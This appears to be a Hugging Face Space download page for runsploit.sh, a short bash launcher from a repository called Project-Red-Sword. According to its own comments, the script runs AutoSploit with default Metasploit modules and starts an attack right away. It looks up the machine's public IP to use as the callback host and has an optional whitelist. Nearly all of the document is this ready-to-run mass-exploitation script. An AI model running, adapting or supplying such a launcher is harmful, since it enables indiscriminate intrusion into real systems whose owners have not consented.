Spaces:
Runtime error
Runtime error
Download scripts/runsploit.sh from dia-gov/Project-Red-Sword: direct link, hf CLI and curl.
- Browser
- Download file 761 Bytes
-
https://huggingface.co/spaces/dia-gov/Project-Red-Sword/resolve/main/scripts/runsploit.sh
- Command line
-
hf download hf://spaces/dia-gov/Project-Red-Sword/scripts/runsploit.sh
-
curl -L -o runsploit.sh https://huggingface.co/spaces/dia-gov/Project-Red-Sword/resolve/main/scripts/runsploit.sh
761 Bytes
| # | |
| # this script runs autosploit with default configs and default modules | |
| # protip be on a VPS when you run this because it's gonna start an attack | |
| # right away | |
| # | |
| if [[ $# -lt 1 ]]; then | |
| echo "Syntax:" | |
| echo -e "\t./runsploit.sh PORT [WHITELIST]" | |
| exit 1 | |
| fi | |
| echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue"; | |
| read | |
| WHITELIST=$2 | |
| LPORT=$1 | |
| LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` | |
| TIMESTAMP=`date +%s` | |
| if [[ ! $WHITELIST ]]; then | |
| python autosploit.py -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json | |
| else | |
| python autosploit.py --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json | |
| fi; |